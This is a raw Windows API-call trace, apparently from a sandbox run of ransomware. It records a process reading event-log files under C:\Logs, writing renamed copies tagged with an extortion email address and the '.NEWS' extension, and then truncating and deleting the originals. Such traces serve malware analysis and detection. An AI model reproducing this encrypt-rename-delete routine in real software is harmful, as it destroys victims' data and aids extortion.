[0078.533] lstrlenW (lpString=".pdf") returned 4 [0078.533] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.533] lstrlenW (lpString=".xls") returned 4 [0078.533] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.533] lstrlenW (lpString=".xlsx") returned 5 [0078.533] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.533] lstrlenW (lpString=".ppt") returned 4 [0078.533] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.533] lstrlenW (lpString=".zip") returned 4 [0078.533] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.533] lstrlenW (lpString=".rar") returned 4 [0078.533] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.533] lstrlenW (lpString=".bz2") returned 4 [0078.533] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.533] lstrlenW (lpString=".7z") returned 3 [0078.533] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.533] lstrlenW (lpString=".dbf") returned 4 [0078.533] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.534] lstrlenW (lpString=".1cd") returned 4 [0078.534] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.534] lstrlenW (lpString=".jpg") returned 4 [0078.534] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.534] lstrlenW (lpString=".doc") returned 4 [0078.534] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.534] lstrlenW (lpString=".docx") returned 5 [0078.534] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.534] lstrlenW (lpString=".pdf") returned 4 [0078.534] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.534] lstrlenW (lpString=".xls") returned 4 [0078.534] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.534] lstrlenW (lpString=".xlsx") returned 5 [0078.534] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.534] lstrlenW (lpString=".ppt") returned 4 [0078.534] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.534] lstrlenW (lpString=".zip") returned 4 [0078.534] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.535] lstrlenW (lpString=".rar") returned 4 [0078.535] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.535] lstrlenW (lpString=".bz2") returned 4 [0078.535] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.535] lstrlenW (lpString=".7z") returned 3 [0078.535] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.535] lstrlenW (lpString=".dbf") returned 4 [0078.535] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.535] lstrlenW (lpString=".1cd") returned 4 [0078.535] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.535] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx") returned 57 [0078.535] lstrlenW (lpString=".jpg") returned 4 [0078.535] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.535] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.535] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53 [0078.535] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.535] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0078.535] CloseHandle (hObject=0x378) returned 1 [0078.536] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20 [0078.536] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.536] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.536] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.536] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.536] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0078.537] GetLastError () returned 0x0 [0078.537] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.539] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.541] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.541] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13e, lpOverlapped=0x0) returned 1 [0078.541] SetEndOfFile (hFile=0x38c) returned 1 [0078.542] CloseHandle (hObject=0x38c) returned 1 [0078.544] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.544] SetEndOfFile (hFile=0x378) returned 1 [0078.545] CloseHandle (hObject=0x378) returned 1 [0078.546] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.546] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1 [0078.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.546] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.546] lstrlenW (lpString=".doc") returned 4 [0078.546] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.546] lstrlenW (lpString=".docx") returned 5 [0078.546] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.546] lstrlenW (lpString=".pdf") returned 4 [0078.546] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.546] lstrlenW (lpString=".xls") returned 4 [0078.546] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.546] lstrlenW (lpString=".xlsx") returned 5 [0078.546] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.546] lstrlenW (lpString=".ppt") returned 4 [0078.546] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.547] lstrlenW (lpString=".zip") returned 4 [0078.547] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString=".rar") returned 4 [0078.547] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString=".bz2") returned 4 [0078.547] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString=".7z") returned 3 [0078.547] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.547] lstrlenW (lpString=".dbf") returned 4 [0078.547] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.547] lstrlenW (lpString=".1cd") returned 4 [0078.547] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.547] lstrlenW (lpString=".jpg") returned 4 [0078.547] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.547] lstrlenW (lpString=".doc") returned 4 [0078.547] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString=".docx") returned 5 [0078.547] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.547] lstrlenW (lpString=".pdf") returned 4 [0078.547] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString=".xls") returned 4 [0078.547] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString=".xlsx") returned 5 [0078.547] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.547] lstrlenW (lpString=".ppt") returned 4 [0078.547] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.547] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.547] lstrlenW (lpString=".zip") returned 4 [0078.548] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.548] lstrlenW (lpString=".rar") returned 4 [0078.548] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.548] lstrlenW (lpString=".bz2") returned 4 [0078.548] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.548] lstrlenW (lpString=".7z") returned 3 [0078.548] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.548] lstrlenW (lpString=".dbf") returned 4 [0078.548] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.548] lstrlenW (lpString=".1cd") returned 4 [0078.548] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.548] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61 [0078.548] lstrlenW (lpString=".jpg") returned 4 [0078.548] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.548] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.548] lstrlenW (lpString="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 51 [0078.548] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.549] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0078.549] CloseHandle (hObject=0x378) returned 1 [0078.549] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 0x20 [0078.549] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.549] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.549] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.549] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.549] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0078.550] GetLastError () returned 0x0 [0078.550] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.552] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.555] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.555] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x13a, lpOverlapped=0x0) returned 1 [0078.555] SetEndOfFile (hFile=0x38c) returned 1 [0078.555] CloseHandle (hObject=0x38c) returned 1 [0078.558] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.558] SetEndOfFile (hFile=0x378) returned 1 [0078.559] CloseHandle (hObject=0x378) returned 1 [0078.559] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.559] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-storemgr%4operational.evtx")) returned 1 [0078.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.559] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.559] lstrlenW (lpString=".doc") returned 4 [0078.559] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.559] lstrlenW (lpString=".docx") returned 5 [0078.560] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.560] lstrlenW (lpString=".pdf") returned 4 [0078.560] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString=".xls") returned 4 [0078.560] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString=".xlsx") returned 5 [0078.560] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.560] lstrlenW (lpString=".ppt") returned 4 [0078.560] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.560] lstrlenW (lpString=".zip") returned 4 [0078.560] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString=".rar") returned 4 [0078.560] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString=".bz2") returned 4 [0078.560] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString=".7z") returned 3 [0078.560] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.560] lstrlenW (lpString=".dbf") returned 4 [0078.560] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.560] lstrlenW (lpString=".1cd") returned 4 [0078.560] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.560] lstrlenW (lpString=".jpg") returned 4 [0078.560] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.560] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.560] lstrlenW (lpString=".doc") returned 4 [0078.560] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString=".docx") returned 5 [0078.560] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.560] lstrlenW (lpString=".pdf") returned 4 [0078.560] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.560] lstrlenW (lpString=".xls") returned 4 [0078.561] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.561] lstrlenW (lpString=".xlsx") returned 5 [0078.561] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.561] lstrlenW (lpString=".ppt") returned 4 [0078.561] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.561] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.561] lstrlenW (lpString=".zip") returned 4 [0078.561] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.561] lstrlenW (lpString=".rar") returned 4 [0078.561] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.561] lstrlenW (lpString=".bz2") returned 4 [0078.561] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.561] lstrlenW (lpString=".7z") returned 3 [0078.561] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.561] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.561] lstrlenW (lpString=".dbf") returned 4 [0078.561] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.561] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.561] lstrlenW (lpString=".1cd") returned 4 [0078.561] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.561] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx") returned 59 [0078.561] lstrlenW (lpString=".jpg") returned 4 [0078.561] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.561] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.561] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0078.561] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.562] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=69632) returned 1 [0078.562] CloseHandle (hObject=0x378) returned 1 [0078.562] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0078.563] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.563] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0078.563] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.563] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.563] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0078.563] GetLastError () returned 0x0 [0078.563] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.935] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.937] ReadFile (in: hFile=0x378, lpBuffer=0x3805020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.937] WriteFile (in: hFile=0x38c, lpBuffer=0x3805020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x3805020*, lpNumberOfBytesWritten=0x2c1fc94*=0x128, lpOverlapped=0x0) returned 1 [0078.937] SetEndOfFile (hFile=0x38c) returned 1 [0078.937] CloseHandle (hObject=0x38c) returned 1 [0078.940] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.940] SetEndOfFile (hFile=0x378) returned 1 [0078.941] CloseHandle (hObject=0x378) returned 1 [0078.941] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.941] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0078.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.942] lstrlenW (lpString=".doc") returned 4 [0078.942] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString=".docx") returned 5 [0078.942] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.942] lstrlenW (lpString=".pdf") returned 4 [0078.942] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString=".xls") returned 4 [0078.942] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString=".xlsx") returned 5 [0078.942] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.942] lstrlenW (lpString=".ppt") returned 4 [0078.942] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.942] lstrlenW (lpString=".zip") returned 4 [0078.942] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString=".rar") returned 4 [0078.942] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString=".bz2") returned 4 [0078.942] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString=".7z") returned 3 [0078.942] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0078.942] lstrlenW (lpString=".dbf") returned 4 [0078.942] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 